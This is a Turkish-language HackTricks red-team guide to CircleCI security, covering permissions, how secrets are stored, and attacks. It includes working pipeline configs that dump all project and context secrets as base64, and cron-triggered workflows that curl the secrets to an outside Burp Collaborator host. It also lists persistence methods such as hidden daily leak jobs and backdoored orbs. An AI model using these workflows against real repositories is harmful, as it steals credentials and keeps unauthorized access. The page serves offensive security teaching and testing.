CircleCI Security

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

CircleCI, kodun ne yapılmasını ve ne zaman yapılmasını istediğinizi belirten şablonları tanımlayabileceğiniz bir Sürekli Entegrasyon platformudur. Bu şekilde, örneğin repo ana dalından doğrudan testleri otomatikleştirebilir veya dağıtımlar yapabilirsiniz.

İzinler

CircleCI, giriş yapan hesapla ilgili olarak github ve bitbucket ile ilgili izinleri devralır. Testlerimde, github'deki repo üzerinde yazma izinleriniz olduğu sürece, CircleCI'nin proje ayarlarını yönetebileceğinizi (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmalarıyla yeni dallar oluşturmak...) kontrol ettim.

Ancak, repo'yu bir CircleCI projesine dönüştürmek için bir repo yöneticisi olmanız gerekmektedir.

Çevre Değişkenleri ve Gizli Bilgiler

Belgelere göre, bir iş akışı içinde çevre değişkenlerine değer yüklemek için farklı yöntemler vardır.

Dahili çevre değişkenleri

CircleCI tarafından çalıştırılan her konteyner her zaman belgelerde tanımlanan belirli çevre değişkenlerine sahip olacaktır, örneğin CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME veya CIRCLE_USERNAME.

Açık metin

Onları açık metin olarak bir komut içinde tanımlayabilirsiniz:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Çalışma ortamı içinde açık metin olarak bildirebilirsiniz:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

build-job ortamında açık metin olarak bildirebilirsiniz:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Bir konteynerin ortamında açık metin olarak bildirebilirsiniz:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Proje Sırları

Bunlar, yalnızca proje tarafından erişilebilen sırlardır (herhangi bir dal tarafından). Bunları, https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables adresinde bildirildiği şekilde görebilirsiniz.

"Değişkenleri İçe Aktar" işlevi, bu projeye diğer projelerden değişkenleri içe aktarmaya olanak tanır.

Bağlam Sırları

Bunlar, org genelinde olan sırlardır. Varsayılan olarak herhangi bir repo, burada depolanan herhangi bir sıraya erişebilecektir:

Ancak, dikkat edin, Tüm üyeler yerine farklı bir grup seçilebilir ve sırlara sadece belirli kişilerin erişmesine izin verilebilir. Bu şu anda sırların güvenliğini artırmak için en iyi yollardan biridir, herkesin erişmesine izin vermek yerine sadece bazı kişilere erişim izni vermek.

Saldırılar

Açık Metin Sırlarını Arama

Eğer VCS'ye (github gibi) erişiminiz varsa, her bir repo ve her bir dalın .circleci/config.yml dosyasını kontrol edin ve içeride depolanan potansiyel açık metin sırlarını arayın.

Gizli Ortam Değişkenleri ve Bağlam Numaralandırması

Kodları kontrol ederek, her .circleci/config.yml dosyasında kullanılan tüm sır isimlerini bulabilirsiniz. Ayrıca bu dosyalardan veya web konsolunda https://app.circleci.com/settings/organization/github/<org_name>/contexts adresinde bunları kontrol edebilirsiniz.

Proje Sırlarını Dışarıya Aktarma

Tüm proje ve bağlam SIRLARINI dışarıya aktarmak için, github org içindeki yalnızca 1 repo'ya YAZMA erişiminizin olması yeterlidir (ve varsayılan olarak herkes her bağlama erişebilir).

"Değişkenleri İçe Aktar" işlevi, bu projeye diğer projelerden değişkenleri içe aktarmaya olanak tanır. Bu nedenle, bir saldırgan tüm projenin değişkenlerini tüm repolardan içe aktarabilir ve ardından hepsini birlikte dışarıya aktarabilir.

Tüm proje sırları her zaman işlerin ortamında ayarlanır, bu nedenle env'i çağırmak ve base64'te şifrelemek, sırları iş akışı web günlük konsolunda dışarıya aktaracaktır:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Eğer web konsoluna erişiminiz yoksa ancak repo'ya erişiminiz varsa ve CircleCI'nin kullanıldığını biliyorsanız, sadece her dakika tetiklenen bir iş akışı oluşturabilir ve sırları harici bir adrese sızdırabilirsiniz:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Bağlam Sırlarını Sızdırma

Bağlam adını belirtmeniz gerekmektedir (bu aynı zamanda proje sırlarını da sızdıracaktır):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Eğer web konsoluna erişiminiz yoksa ancak repo'ya erişiminiz varsa ve CircleCI'nin kullanıldığını biliyorsanız, sadece her dakika tetiklenen bir iş akışını değiştirebilir ve sırları harici bir adrese sızdırabilirsiniz:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Yalnızca bir repo'da yeni bir .circleci/config.yml oluşturmak, bir circleci derlemesini tetiklemek için yeterli değildir. Circleci konsolunda bir proje olarak etkinleştirmeniz gerekmektedir.

Buluta Kaçış

CircleCI, derlemelerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma seçeneği sunar. Varsayılan olarak, makineleri GCP'de bulunur ve başlangıçta ilgili bir şey bulamazsınız. Ancak, bir kurban kendi makinelerinde (potansiyel olarak, bir bulut ortamında) görevleri çalıştırıyorsa, ilginç bilgiler içeren bir bulut meta veri uç noktası bulabilirsiniz.

Önceki örneklerde her şey bir docker konteyneri içinde başlatıldı, ancak aynı zamanda bir VM makinesi başlatmak için de isteyebilirsiniz (bu, farklı bulut izinlerine sahip olabilir):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Ya da uzaktan erişilebilen bir docker hizmetine sahip bir docker konteyneri bile olabilir:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Kalıcılık

  • CircleCI'da kullanıcı belirteçleri oluşturmak mümkündür, böylece kullanıcı erişimiyle API uç noktalara erişilebilir.

  • https://app.circleci.com/settings/user/tokens

  • Projeye verilen izinlere sahip olacak şekilde proje belirteçleri oluşturmak mümkündür.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Projelere SSH anahtarları eklemek mümkündür.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Beklenmedik bir projede gizli bir dalda cron işi oluşturmak mümkündür, bu işlem her gün tüm bağlam ortam değişkenlerini sızdıracaktır.

  • Veya bilinen bir işi bir dalda oluşturmak / değiştirmek ve her gün tüm bağlam ve proje sırlarını sızdırmak mümkündür.

  • Eğer bir GitHub sahibiyseniz, doğrulanmamış orb'lara izin verip bir işte arka kapı olarak yapılandırabilirsiniz.

  • Bazı görevlerde bir komut enjeksiyonu açığı bulabilir ve değerini değiştirerek bir gizli aracılığıyla komutlar enjekte edebilirsiniz.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated